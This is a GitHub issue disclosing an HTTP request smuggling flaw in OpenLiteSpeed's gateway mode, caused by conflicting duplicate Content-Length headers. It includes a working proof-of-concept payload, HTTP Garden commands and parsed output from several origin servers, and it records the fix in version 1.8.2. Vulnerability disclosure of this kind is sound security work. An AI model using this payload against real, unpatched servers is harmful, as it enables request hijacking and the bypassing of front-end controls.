openlitespeed icon indicating copy to clipboard operation
openlitespeed copied to clipboard

OLS is vulnerable to request smuggling via requests with multiple `Content-Length` headers

Open kenballus opened this issue 1 year ago • 1 comments

Summary

When OLS is acting as a gateway, and receives a request with two Content-Length headers, it forwards both, but interprets only the first.

Thus, when the origin server behind the OLS gateway prioritizes the second Content-Length header over the first, request smuggling can occur.

How OLS's behavior violates the RFC

From RFC 7230, section 3.3.3:

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.

Request Smuggling PoC

This attack is easily demonstrated within the HTTP Garden.

  1. Set up the HTTP Garden.
  2. Start the REPL:
rlwrap python3 ./tools/repl.py
  1. Run the following commands:
garden> # Set the payload
garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Run it through the OLS gateway
garden> transduce openlitespeed_proxy
[2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
    ⬇️ openlitespeed_proxy
[3]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Send the result to all of the origin servers
garden> fanout
  1. Observe that some origin servers see two requests in the gateway's output:
...
cheroot: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept_encoding', b'gzip'),
            (b'content_length', b'0'),
            (b'host', b'whatever'),
            (b'x_forwarded_for', b'192.168.48.1'),
            (b'x_forwarded_host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...
libsoup: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'34'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...
uhttpd: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...

kenballus avatar Jun 26 '24 14:06 kenballus

should be fixed in 1.8.2

litespeedtech avatar Sep 14 '24 15:09 litespeedtech

Confirmed fixed in 1.8.2

kenballus avatar Dec 25 '24 13:12 kenballus